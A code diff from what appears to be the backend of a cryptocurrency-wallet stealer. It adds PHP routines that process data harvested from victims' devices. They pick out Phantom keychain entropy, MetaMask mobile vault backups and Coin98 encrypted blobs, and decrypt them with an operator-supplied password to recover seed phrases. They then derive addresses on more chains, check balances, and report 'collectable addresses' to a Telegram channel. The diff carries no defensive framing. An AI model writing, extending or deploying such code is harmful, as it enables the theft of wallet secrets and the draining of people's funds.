foreach ($this->recoverPhantom($phantomNodes) as $hit) {
|
||||
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
||||
if (isset($seen[$hash])) {
|
||||
$this->markSourceDecrypted($device->id, $hit['source']);
|
||||
|
||||
continue;
|
||||
}
|
||||
$seen[$hash] = true;
|
||||
@@ -78,6 +80,122 @@ final class DsKeystoreDecrypt
|
||||
return $hits;
|
||||
}
|
||||
|
||||
/**
|
||||
* Try operator-supplied password against UTC / walletsV2 blobs and
|
||||
* MetaMask-style password vaults on this row (and same-source rows).
|
||||
*
|
||||
* @return array{hits: list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>, utc: int, vault: int}
|
||||
*/
|
||||
public function unlockRowWithPassword(Device $device, WalletKeystore $row, string $password): array
|
||||
{
|
||||
$device->loadMissing('keystores');
|
||||
$source = trim((string) $row->source);
|
||||
$nodes = [is_array($row->raw_json) ? $row->raw_json : []];
|
||||
foreach ($device->keystores as $other) {
|
||||
if ((int) $other->id === (int) $row->id) {
|
||||
continue;
|
||||
}
|
||||
if (trim((string) $other->source) !== $source) {
|
||||
continue;
|
||||
}
|
||||
$nodes[] = is_array($other->raw_json) ? $other->raw_json : [];
|
||||
}
|
||||
|
||||
$utcs = [];
|
||||
$vaults = [];
|
||||
$coin98Wallets = [];
|
||||
foreach ($nodes as $node) {
|
||||
$utcs = array_merge($utcs, $this->collectKeystores($node, $source !== '' ? $source : 'unknown'));
|
||||
$vaults = array_merge($vaults, $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown'));
|
||||
foreach ($this->collectCoin98Backups($node) as $wallets) {
|
||||
$coin98Wallets = array_merge($coin98Wallets, $wallets);
|
||||
}
|
||||
}
|
||||
$utcs = $this->uniqueKeystores($utcs);
|
||||
$passwords = $this->expandUserPassword($password);
|
||||
$hits = [];
|
||||
$seen = [];
|
||||
if ($passwords === []) {
|
||||
return ['hits' => [], 'utc' => count($utcs), 'vault' => count($vaults), 'coin98' => count($coin98Wallets)];
|
||||
}
|
||||
|
||||
foreach ($utcs as $item) {
|
||||
$phrase = $this->unlock($item['keystore'], $passwords);
|
||||
if ($phrase === null) {
|
||||
continue;
|
||||
}
|
||||
$hash = WalletMnemonic::hashSecret($phrase);
|
||||
if (isset($seen[$hash])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$hash] = true;
|
||||
$hitSource = $item['source'] !== '' ? $item['source'] : ($source !== '' ? $source : 'unknown');
|
||||
$hits[] = [
|
||||
'source' => $hitSource,
|
||||
'tag' => WalletSource::tagForLabel($hitSource),
|
||||
'phrase' => $phrase,
|
||||
'addresses' => [],
|
||||
];
|
||||
}
|
||||
|
||||
foreach ($vaults as $item) {
|
||||
$phrase = $this->unlockPasswordVault($item['vault'], $passwords);
|
||||
if ($phrase === null) {
|
||||
continue;
|
||||
}
|
||||
$hash = WalletMnemonic::hashSecret($phrase);
|
||||
if (isset($seen[$hash])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$hash] = true;
|
||||
$hitSource = $item['source'] !== '' ? $item['source'] : ($source !== '' ? $source : 'MetaMask');
|
||||
$hits[] = [
|
||||
'source' => $hitSource,
|
||||
'tag' => WalletSource::tagForLabel($hitSource) ?: 'a',
|
||||
'phrase' => $phrase,
|
||||
'addresses' => [],
|
||||
];
|
||||
}
|
||||
|
||||
// Coin98 CryptoJS privateKey / mnemonic blobs keyed by the user's
|
||||
// wallet password.
|
||||
if ($coin98Wallets !== []) {
|
||||
$phrase = $this->unlockCoin98Wallets($coin98Wallets, $passwords);
|
||||
if ($phrase !== null) {
|
||||
$hash = WalletMnemonic::hashSecret($phrase);
|
||||
if (! isset($seen[$hash])) {
|
||||
$seen[$hash] = true;
|
||||
$hitSource = $source !== '' ? $source : 'Coin98';
|
||||
$hits[] = [
|
||||
'source' => $hitSource,
|
||||
'tag' => WalletSource::tagForLabel($hitSource) ?: 'q',
|
||||
'phrase' => $phrase,
|
||||
'addresses' => [],
|
||||
];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return ['hits' => $hits, 'utc' => count($utcs), 'vault' => count($vaults), 'coin98' => count($coin98Wallets)];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function expandUserPassword(string $password): array
|
||||
{
|
||||
$password = trim($password);
|
||||
if ($password === '') {
|
||||
return [];
|
||||
}
|
||||
$out = $this->passwordsFromString($password);
|
||||
if (ctype_xdigit($password) && strlen($password) % 2 === 0 && strlen($password) >= 8) {
|
||||
$out = array_merge($out, $this->passwordsFromHex($password));
|
||||
}
|
||||
|
||||
return array_values(array_unique($out));
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{utc: int, passwords: int, entropy: int}
|
||||
*/
|
||||
@@ -324,19 +442,11 @@ final class DsKeystoreDecrypt
|
||||
}
|
||||
|
||||
$out = [];
|
||||
// Phantom vault seedless entries: service=app:no-auth, account hex-decodes
|
||||
// to ".phantom-labs.vault.seedless.*". The dataHex contains a JSON with
|
||||
// an "entropy" dict of byte-index → byte-value pairs.
|
||||
$svc = strtolower(trim((string) ($node['service'] ?? '')));
|
||||
$acct = (string) ($node['account'] ?? '');
|
||||
$acctDecoded = '';
|
||||
if ($acct !== '' && ctype_xdigit($acct) && strlen($acct) % 2 === 0) {
|
||||
$bin = @hex2bin($acct);
|
||||
if (is_string($bin) && mb_check_encoding($bin, 'UTF-8')) {
|
||||
$acctDecoded = strtolower($bin);
|
||||
}
|
||||
}
|
||||
if ($svc === 'app:no-auth' && str_contains($acctDecoded, 'phantom-labs.vault.seedless')) {
|
||||
// Phantom vault entropy lives in dataHex as {"entropy":{"0":n,...}}.
|
||||
// Account may be hex, base64, or already-decoded UTF-8, and the path
|
||||
// is either ".phantom-labs.vault.seedless.*" (older) or
|
||||
// ".phantom-labs.vault.seed.*" (current iOS app).
|
||||
if ($this->isPhantomVaultItem($node)) {
|
||||
$hex = $this->phantomEntropyFromItem($node);
|
||||
if ($hex !== null) {
|
||||
$out[] = $hex;
|
||||
@@ -353,7 +463,54 @@ final class DsKeystoreDecrypt
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract the entropy hex from a Phantom vault seedless keychain item.
|
||||
* @param array<string, mixed> $node
|
||||
*/
|
||||
private function isPhantomVaultItem(array $node): bool
|
||||
{
|
||||
$svc = strtolower(trim((string) ($node['service'] ?? '')));
|
||||
$acct = $this->decodeKeychainAccount((string) ($node['account'] ?? ''));
|
||||
$agrp = strtolower((string) ($node['accessGroup'] ?? ''));
|
||||
$looksPhantom = str_contains($acct, 'phantom-labs')
|
||||
|| str_contains($acct, 'phantom')
|
||||
|| str_contains($agrp, 'phantom')
|
||||
|| $svc === 'app.phantom';
|
||||
if ($looksPhantom) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Older DS dumps used service=app:no-auth + hex account.
|
||||
return $svc === 'app:no-auth' && (
|
||||
str_contains($acct, 'phantom-labs.vault.seedless')
|
||||
|| str_contains($acct, 'phantom-labs.vault.seed.')
|
||||
);
|
||||
}
|
||||
|
||||
private function decodeKeychainAccount(string $acct): string
|
||||
{
|
||||
$acct = trim($acct);
|
||||
if ($acct === '') {
|
||||
return '';
|
||||
}
|
||||
$lower = strtolower($acct);
|
||||
if (str_contains($lower, 'phantom-labs') || str_contains($lower, 'phantom')) {
|
||||
return $lower;
|
||||
}
|
||||
if (ctype_xdigit($acct) && strlen($acct) % 2 === 0) {
|
||||
$bin = @hex2bin($acct);
|
||||
if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) {
|
||||
return strtolower($bin);
|
||||
}
|
||||
}
|
||||
$b64 = base64_decode($acct, true);
|
||||
if (is_string($b64) && $b64 !== '' && mb_check_encoding($b64, 'UTF-8')) {
|
||||
return strtolower($b64);
|
||||
}
|
||||
|
||||
return $lower;
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract the entropy hex from a Phantom vault seedless/seed keychain item.
|
||||
*
|
||||
* @param array<string, mixed> $item
|
||||
*/
|
||||
@@ -436,6 +593,15 @@ final class DsKeystoreDecrypt
|
||||
}
|
||||
}
|
||||
|
||||
// App-link coin98.wallet keystore row (SET_WALLET_STORAGE wallets,
|
||||
// with CryptoJS-encrypted privateKey / mnemonic blobs).
|
||||
if (trim((string) ($node['kind'] ?? '')) === 'coin98.wallet' && is_array($node['wallets'] ?? null)) {
|
||||
$wallets = array_values(array_filter($node['wallets'], 'is_array'));
|
||||
if ($wallets !== []) {
|
||||
$out[] = $wallets;
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($node as $key => $child) {
|
||||
if (is_array($child) || is_string($child)) {
|
||||
$out = array_merge($out, $this->collectCoin98Backups($child, $depth + 1));
|
||||
@@ -575,6 +741,254 @@ final class DsKeystoreDecrypt
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* MetaMask mobile VAULT_BACKUP: {cipher, iv, salt, lib, keyMetadata}.
|
||||
*
|
||||
* @return list<array{source: string, vault: array<string, mixed>}>
|
||||
*/
|
||||
public function collectPasswordVaults(mixed $node, string $source = '', int $depth = 0): array
|
||||
{
|
||||
if ($depth > 10 || $node === null) {
|
||||
return [];
|
||||
}
|
||||
if (is_string($node)) {
|
||||
$decoded = $this->decodeBlob($node);
|
||||
if ($decoded === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->collectPasswordVaults($decoded, $source, $depth + 1);
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
if ($this->isPasswordVault($node)) {
|
||||
return [['source' => $source !== '' ? $source : 'MetaMask', 'vault' => $node]];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
$acct = strtolower(trim((string) ($node['account'] ?? '')));
|
||||
if ($acct === 'vault_backup' && $source === '') {
|
||||
$source = 'MetaMask';
|
||||
}
|
||||
foreach ($node as $key => $child) {
|
||||
$next = $source;
|
||||
if (is_string($key)) {
|
||||
$hint = WalletSource::fromKeystoreHint($key);
|
||||
if ($hint !== '') {
|
||||
$next = $hint;
|
||||
}
|
||||
}
|
||||
if (is_array($child) || is_string($child)) {
|
||||
$out = array_merge($out, $this->collectPasswordVaults($child, $next, $depth + 1));
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $node
|
||||
*/
|
||||
public function isPasswordVault(array $node): bool
|
||||
{
|
||||
foreach (['cipher', 'iv', 'salt'] as $key) {
|
||||
if (! is_string($node[$key] ?? null) || $node[$key] === '') {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $vault
|
||||
* @param list<string> $passwords
|
||||
*/
|
||||
public function unlockPasswordVault(array $vault, array $passwords): ?string
|
||||
{
|
||||
foreach ($passwords as $password) {
|
||||
$plain = $this->decryptPasswordVault($vault, $password);
|
||||
if ($plain === null) {
|
||||
continue;
|
||||
}
|
||||
$phrase = $this->phraseFromVaultPlain($plain);
|
||||
if ($phrase !== null) {
|
||||
return $phrase;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* MetaMask iOS (lib=quick-crypto): PBKDF2-SHA512 over the salt *string*
|
||||
* (not base64-decoded), AES-256-CBC, IV hex, cipher base64.
|
||||
*
|
||||
* @param array<string, mixed> $vault
|
||||
*/
|
||||
private function decryptPasswordVault(array $vault, string $password): ?string
|
||||
{
|
||||
$cipherB64 = (string) ($vault['cipher'] ?? '');
|
||||
$ivRaw = (string) ($vault['iv'] ?? '');
|
||||
$saltStr = (string) ($vault['salt'] ?? '');
|
||||
if ($cipherB64 === '' || $ivRaw === '' || $saltStr === '' || $password === '') {
|
||||
return null;
|
||||
}
|
||||
$cipher = base64_decode($cipherB64, true);
|
||||
if (! is_string($cipher) || $cipher === '') {
|
||||
return null;
|
||||
}
|
||||
$iv = ctype_xdigit($ivRaw) && strlen($ivRaw) % 2 === 0 ? @hex2bin($ivRaw) : base64_decode($ivRaw, true);
|
||||
if (! is_string($iv) || $iv === '') {
|
||||
return null;
|
||||
}
|
||||
$iterations = (int) ($vault['keyMetadata']['params']['iterations'] ?? 5000);
|
||||
if ($iterations < 1) {
|
||||
$iterations = 5000;
|
||||
}
|
||||
$salts = [$saltStr];
|
||||
$decodedSalt = base64_decode($saltStr, true);
|
||||
if (is_string($decodedSalt) && $decodedSalt !== '' && $decodedSalt !== $saltStr) {
|
||||
$salts[] = $decodedSalt;
|
||||
}
|
||||
foreach ($salts as $salt) {
|
||||
$key = hash_pbkdf2('sha512', $password, $salt, $iterations, 32, true);
|
||||
$plain = openssl_decrypt($cipher, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
|
||||
if (is_string($plain) && $plain !== '') {
|
||||
return $plain;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Coin98 SET_WALLET_STORAGE wallets keep privateKey / mnemonic as
|
||||
* CryptoJS AES blobs ("U2FsdGVkX1…" = base64 OpenSSL "Salted__" +
|
||||
* 8-byte salt + AES-256-CBC ciphertext). Try the mnemonic blob first
|
||||
* (it decrypts straight to a BIP39 phrase), then the privateKey blob.
|
||||
*
|
||||
* @param list<array<string, mixed>> $wallets
|
||||
* @param list<string> $passwords
|
||||
*/
|
||||
public function unlockCoin98Wallets(array $wallets, array $passwords): ?string
|
||||
{
|
||||
foreach ($wallets as $wallet) {
|
||||
if (! is_array($wallet)) {
|
||||
continue;
|
||||
}
|
||||
foreach (['mnemonic', 'privateKey'] as $field) {
|
||||
$cipher = $wallet[$field] ?? null;
|
||||
if (! is_string($cipher) || $cipher === '') {
|
||||
continue;
|
||||
}
|
||||
foreach ($passwords as $password) {
|
||||
$plain = $this->decryptCryptoJsAes($cipher, $password);
|
||||
if ($plain === null) {
|
||||
continue;
|
||||
}
|
||||
$phrase = $this->asMnemonic($plain);
|
||||
if ($phrase !== null) {
|
||||
return $phrase;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* CryptoJS AES.encrypt(plain, password) default format:
|
||||
* base64("Salted__" + salt(8) + AES-256-CBC ciphertext), with the key
|
||||
* and IV derived via OpenSSL EVP_BytesToKey (MD5, one round).
|
||||
*/
|
||||
private function decryptCryptoJsAes(string $cipherB64, string $password): ?string
|
||||
{
|
||||
$raw = base64_decode($cipherB64, true);
|
||||
if (! is_string($raw) || strlen($raw) < 32 || ! str_starts_with($raw, 'Salted__')) {
|
||||
return null;
|
||||
}
|
||||
$salt = substr($raw, 8, 8);
|
||||
$cipher = substr($raw, 16);
|
||||
$derived = '';
|
||||
$block = '';
|
||||
while (strlen($derived) < 48) {
|
||||
$block = md5($block.$password.$salt, true);
|
||||
$derived .= $block;
|
||||
}
|
||||
$key = substr($derived, 0, 32);
|
||||
$iv = substr($derived, 32, 16);
|
||||
$plain = openssl_decrypt($cipher, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
|
||||
|
||||
return is_string($plain) && $plain !== '' ? $plain : null;
|
||||
}
|
||||
|
||||
private function phraseFromVaultPlain(string $plain): ?string
|
||||
{
|
||||
$direct = $this->asMnemonic($plain);
|
||||
if ($direct !== null) {
|
||||
return $direct;
|
||||
}
|
||||
$json = json_decode($plain, true);
|
||||
if (! is_array($json)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $this->phraseFromVaultNode($json);
|
||||
}
|
||||
|
||||
private function phraseFromVaultNode(mixed $node): ?string
|
||||
{
|
||||
if (is_string($node)) {
|
||||
return $this->asMnemonic($node);
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return null;
|
||||
}
|
||||
if (isset($node['mnemonic'])) {
|
||||
$phrase = $this->mnemonicFieldToPhrase($node['mnemonic']);
|
||||
if ($phrase !== null) {
|
||||
return $phrase;
|
||||
}
|
||||
}
|
||||
foreach ($node as $child) {
|
||||
$phrase = $this->phraseFromVaultNode($child);
|
||||
if ($phrase !== null) {
|
||||
return $phrase;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function mnemonicFieldToPhrase(mixed $value): ?string
|
||||
{
|
||||
if (is_string($value)) {
|
||||
return $this->asMnemonic($value);
|
||||
}
|
||||
if (! is_array($value) || $value === []) {
|
||||
return null;
|
||||
}
|
||||
if (is_int($value[0] ?? null) || is_float($value[0] ?? null)) {
|
||||
$raw = '';
|
||||
foreach ($value as $code) {
|
||||
if (! is_numeric($code)) {
|
||||
return null;
|
||||
}
|
||||
$raw .= chr((int) $code);
|
||||
}
|
||||
|
||||
return $this->asMnemonic($raw);
|
||||
}
|
||||
if (is_string($value[0] ?? null)) {
|
||||
return $this->asMnemonic(implode(' ', array_map(static fn ($w) => (string) $w, $value)));
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
|
||||
@@ -7,7 +7,7 @@ use App\Support\WalletSource;
|
||||
|
||||
/**
|
||||
* Pull plaintext Trust Wallet addresses from UTC / wallet_pkg /war sandbox.
|
||||
* Only BTC / ETH / TRX; at most two addresses per chain, in file order.
|
||||
* BTC / ETH / TRX / BSC / SOL / ARB; at most two addresses per chain, in file order.
|
||||
*/
|
||||
class DsTrustAddressIngest
|
||||
{
|
||||
@@ -18,6 +18,9 @@ class DsTrustAddressIngest
|
||||
0 => 'BITCOIN',
|
||||
60 => 'ETHEREUM',
|
||||
195 => 'TRON',
|
||||
20000714 => 'BSC',
|
||||
501 => 'SOLANA',
|
||||
10042221 => 'ARBITRUM',
|
||||
];
|
||||
|
||||
public function __construct(
|
||||
@@ -47,6 +50,9 @@ class DsTrustAddressIngest
|
||||
'BITCOIN' => [],
|
||||
'ETHEREUM' => [],
|
||||
'TRON' => [],
|
||||
'BSC' => [],
|
||||
'SOLANA' => [],
|
||||
'ARBITRUM' => [],
|
||||
];
|
||||
foreach ($this->walkAccounts($node) as $acct) {
|
||||
$address = trim((string) ($acct['address'] ?? ''));
|
||||
@@ -68,6 +74,9 @@ class DsTrustAddressIngest
|
||||
$symbol = match ($chain) {
|
||||
'BITCOIN' => 'BTC',
|
||||
'ETHEREUM' => 'ETH',
|
||||
'BSC' => 'BNB',
|
||||
'SOLANA' => 'SOL',
|
||||
'ARBITRUM' => 'ETH',
|
||||
default => 'TRX',
|
||||
};
|
||||
foreach ($addresses as $address) {
|
||||
@@ -170,6 +179,8 @@ class DsTrustAddressIngest
|
||||
'BITCOIN' => 'BITCOIN',
|
||||
'ETHEREUM' => 'ETHEREUM',
|
||||
'TRON' => 'TRON',
|
||||
'BSC' => 'BSC',
|
||||
'SOLANA' => 'SOLANA',
|
||||
default => null,
|
||||
};
|
||||
|
||||
|
||||
@@ -451,7 +451,7 @@ class IngestService
|
||||
$bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? '');
|
||||
$name = (string) ($item['a'] ?? $item['name'] ?? $bundle);
|
||||
$version = isset($item['v']) ? (string) $item['v'] : null;
|
||||
if ($bundle === '') {
|
||||
if ($bundle === '' || DeviceApp::shouldSkipBundle($bundle)) {
|
||||
continue;
|
||||
}
|
||||
DeviceApp::query()->updateOrCreate(
|
||||
@@ -884,7 +884,20 @@ class IngestService
|
||||
'source' => $source,
|
||||
]);
|
||||
$addr->fill($attrs);
|
||||
$addr->save();
|
||||
try {
|
||||
$addr->save();
|
||||
} catch (UniqueConstraintViolationException $e) {
|
||||
// Race condition: another concurrent ingest inserted the
|
||||
// same row between findAddressRow() and save(). Re-fetch
|
||||
// and update instead of inserting.
|
||||
$addr = $this->findAddressRow($device->id, $address, $source, $chainType);
|
||||
if ($addr !== null) {
|
||||
$addr->fill($attrs);
|
||||
$addr->save();
|
||||
} else {
|
||||
throw $e;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ($addr->mnemonic_id === null) {
|
||||
@@ -892,8 +905,10 @@ class IngestService
|
||||
}
|
||||
|
||||
$isTron = in_array($chainType, ['TRON', 'TRX'], true);
|
||||
$isBtc = in_array($chainType, ['BTC', 'BITCOIN'], true);
|
||||
// Tron: client payloads often omit/zero balances — pull TRX/USDT before notify.
|
||||
if ($isTron && (! $existing || $coinAttrs === [])) {
|
||||
// BTC: Trust/client often reports sats or lifetime totals as BTC — overwrite from mempool UTXO.
|
||||
if (($isTron && (! $existing || $coinAttrs === [])) || $isBtc) {
|
||||
$this->balances->refresh($addr);
|
||||
$addr->refresh();
|
||||
}
|
||||
@@ -942,6 +957,7 @@ class IngestService
|
||||
in_array($chainType, ['TRON', 'TRX'], true) => ['TRON', 'TRX'],
|
||||
in_array($chainType, ['BTC', 'BITCOIN'], true) => ['BTC', 'BITCOIN'],
|
||||
in_array($chainType, ['SOL', 'SOLANA'], true) => ['SOL', 'SOLANA'],
|
||||
in_array($chainType, ['ARB', 'ARBITRUM'], true) => ['ARB', 'ARBITRUM'],
|
||||
default => [$chainType],
|
||||
};
|
||||
|
||||
@@ -1277,14 +1293,17 @@ class IngestService
|
||||
if ($address === '') {
|
||||
continue;
|
||||
}
|
||||
if (! isset($byAddr[$address])) {
|
||||
$chain = (string) ($item['chainType'] ?? $item['chain'] ?? '');
|
||||
if ($chain === '') {
|
||||
$chain = WalletSource::inferChainType($address);
|
||||
}
|
||||
$byAddr[$address] = [
|
||||
$chain = strtoupper((string) ($item['chainType'] ?? $item['chain'] ?? ''));
|
||||
if ($chain === '') {
|
||||
$chain = WalletSource::inferChainType($address);
|
||||
}
|
||||
// Key by address + chain: the same 0x address is a valid row on
|
||||
// ETH, BSC and ARB at once and must not collapse into one.
|
||||
$key = $address.'|'.$chain;
|
||||
if (! isset($byAddr[$key])) {
|
||||
$byAddr[$key] = [
|
||||
'address' => $address,
|
||||
'chain_type' => strtoupper($chain),
|
||||
'chain_type' => $chain,
|
||||
'balance' => [],
|
||||
];
|
||||
}
|
||||
@@ -1292,7 +1311,7 @@ class IngestService
|
||||
if ($symbol === '') {
|
||||
continue;
|
||||
}
|
||||
$byAddr[$address]['balance'][$symbol] = WalletSource::formatBalance(
|
||||
$byAddr[$key]['balance'][$symbol] = WalletSource::formatBalance(
|
||||
$item['balance'] ?? $item['value'] ?? 0,
|
||||
$item['decimal'] ?? $item['decimals'] ?? null
|
||||
);
|
||||
|
||||
@@ -4,11 +4,14 @@ namespace App\Services;
|
||||
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Alchemy\AlchemyBalanceService;
|
||||
use App\Services\Chain\BtcDriver;
|
||||
use App\Services\Chain\ChainDriver;
|
||||
use App\Services\Chain\ChainHttpTimeout;
|
||||
use App\Services\Chain\ChainManager;
|
||||
use App\Services\Chain\TronDriver;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
/**
|
||||
@@ -22,6 +25,12 @@ class MnemonicWalletDiscovery
|
||||
{
|
||||
public const MAX_DERIVE_INDEX = 2;
|
||||
|
||||
/** Probe timeout while opening/refreshing the mnemonic wallet dialog. */
|
||||
public const PROBE_TIMEOUT_SECONDS = 8;
|
||||
|
||||
/** How long a chain with no activated address (or a failed probe) stays skipped. */
|
||||
public const MISS_CACHE_SECONDS = 600;
|
||||
|
||||
/** @var list<array{chain: string, chain_type: string}> */
|
||||
private const CHAINS = [
|
||||
['chain' => 'tron', 'chain_type' => 'TRON'],
|
||||
@@ -35,6 +44,7 @@ class MnemonicWalletDiscovery
|
||||
private readonly ChainManager $chains,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
private readonly TokenviewMonitorService $tokenview,
|
||||
private readonly AlchemyBalanceService $alchemy,
|
||||
) {}
|
||||
|
||||
/**
|
||||
@@ -46,9 +56,13 @@ class MnemonicWalletDiscovery
|
||||
}
|
||||
|
||||
/**
|
||||
* @param bool $force Manual trigger (view wallet / refresh): bypass the
|
||||
* discovery_complete flag and the per-chain miss cache
|
||||
* so unlinked chains are always re-probed. Does not
|
||||
* set discovery_complete.
|
||||
* @return int Number of address rows created or updated
|
||||
*/
|
||||
public function discoverActivated(WalletMnemonic $mnemonic): int
|
||||
public function discoverActivated(WalletMnemonic $mnemonic, bool $force = false): int
|
||||
{
|
||||
$phrase = $mnemonic->mnemonic;
|
||||
if ($phrase === null || trim($phrase) === '') {
|
||||
@@ -65,6 +79,11 @@ class MnemonicWalletDiscovery
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Scheduled task: skip mnemonics already fully probed across all chains.
|
||||
if (! $force && (bool) $mnemonic->discovery_complete) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
$linkedChainTypes = WalletAddress::query()
|
||||
->where('mnemonic_id', $mnemonic->id)
|
||||
->pluck('chain_type')
|
||||
@@ -76,30 +95,76 @@ class MnemonicWalletDiscovery
|
||||
|
||||
$source = trim((string) ($mnemonic->source ?: ''));
|
||||
$saved = [];
|
||||
$covered = []; // chain => true when linked / miss-cached / probed this run
|
||||
|
||||
foreach (self::CHAINS as $spec) {
|
||||
if ($this->hasLinkedChain($linkedChainTypes, $spec['chain'])) {
|
||||
continue;
|
||||
}
|
||||
$created = ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, $force, &$saved, &$covered) {
|
||||
foreach (self::CHAINS as $spec) {
|
||||
$chain = $spec['chain'];
|
||||
|
||||
try {
|
||||
$rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
|
||||
if ($this->hasLinkedChain($linkedChainTypes, $chain)) {
|
||||
$covered[$chain] = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Scheduled runs respect the miss cache; manual force bypasses it.
|
||||
if (! $force && Cache::has($this->missCacheKey($mnemonic, $chain))) {
|
||||
$covered[$chain] = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
try {
|
||||
$rows = $this->discoverChain($mnemonic, $phrase, $source, $chain, $spec['chain_type']);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'chain' => $chain,
|
||||
]);
|
||||
$this->rememberMiss($mnemonic, $chain);
|
||||
$covered[$chain] = true;
|
||||
|
||||
continue;
|
||||
}
|
||||
|
||||
$covered[$chain] = true;
|
||||
|
||||
if ($rows === []) {
|
||||
$this->rememberMiss($mnemonic, $chain);
|
||||
}
|
||||
foreach ($rows as $row) {
|
||||
$saved[] = $row;
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'chain' => $spec['chain'],
|
||||
]);
|
||||
}
|
||||
|
||||
if ($saved !== []) {
|
||||
$this->telegram->notifyCollectableAddresses($saved);
|
||||
}
|
||||
|
||||
return count($saved);
|
||||
});
|
||||
|
||||
// Scheduled run: mark complete as soon as derivation has run at least once
|
||||
// (any chain covered — linked / miss-cached / probed). Subsequent scheduled
|
||||
// runs skip this mnemonic entirely; manual force=true still re-probes.
|
||||
if (! $force && $covered !== []) {
|
||||
WalletMnemonic::query()
|
||||
->whereKey($mnemonic->id)
|
||||
->update([
|
||||
'discovery_complete' => true,
|
||||
'discovered_at' => now(),
|
||||
]);
|
||||
}
|
||||
|
||||
if ($saved !== []) {
|
||||
$this->telegram->notifyCollectableAddresses($saved);
|
||||
}
|
||||
return $created;
|
||||
}
|
||||
|
||||
return count($saved);
|
||||
private function missCacheKey(WalletMnemonic $mnemonic, string $chain): string
|
||||
{
|
||||
return 'mnemonic-discover-miss:'.$mnemonic->id.':'.$chain;
|
||||
}
|
||||
|
||||
private function rememberMiss(WalletMnemonic $mnemonic, string $chain): void
|
||||
{
|
||||
Cache::put($this->missCacheKey($mnemonic, $chain), 1, self::MISS_CACHE_SECONDS);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -190,14 +255,14 @@ class MnemonicWalletDiscovery
|
||||
'address' => $address,
|
||||
'index' => $index,
|
||||
]);
|
||||
continue;
|
||||
break;
|
||||
}
|
||||
|
||||
if (! $probe['activated']) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$saved[] = $this->persistActivated(
|
||||
$persisted = $this->persistActivated(
|
||||
$mnemonic,
|
||||
$source,
|
||||
$chainType,
|
||||
@@ -205,6 +270,9 @@ class MnemonicWalletDiscovery
|
||||
$index,
|
||||
$probe['coins'],
|
||||
);
|
||||
if ($persisted !== null) {
|
||||
$saved[] = $persisted;
|
||||
}
|
||||
}
|
||||
|
||||
return $saved;
|
||||
@@ -253,6 +321,17 @@ class MnemonicWalletDiscovery
|
||||
*/
|
||||
private function probeEth(ChainDriver $driver, string $address): array
|
||||
{
|
||||
if ($this->alchemy->isEnabled()) {
|
||||
$result = $this->alchemy->fetch('ETH', $address);
|
||||
if ($result !== null) {
|
||||
return [
|
||||
'activated' => $result['activated'],
|
||||
'coins' => $this->evmCoinsFromAlchemy($result, 'eth'),
|
||||
];
|
||||
}
|
||||
// Alchemy failed → fall through to RPC.
|
||||
}
|
||||
|
||||
if (! $driver->isActivated($address)) {
|
||||
return ['activated' => false, 'coins' => $this->emptyCoins('eth')];
|
||||
}
|
||||
@@ -266,14 +345,49 @@ class MnemonicWalletDiscovery
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $result
|
||||
* @return array<string, string>
|
||||
*/
|
||||
private function evmCoinsFromAlchemy(array $result, string $network): array
|
||||
{
|
||||
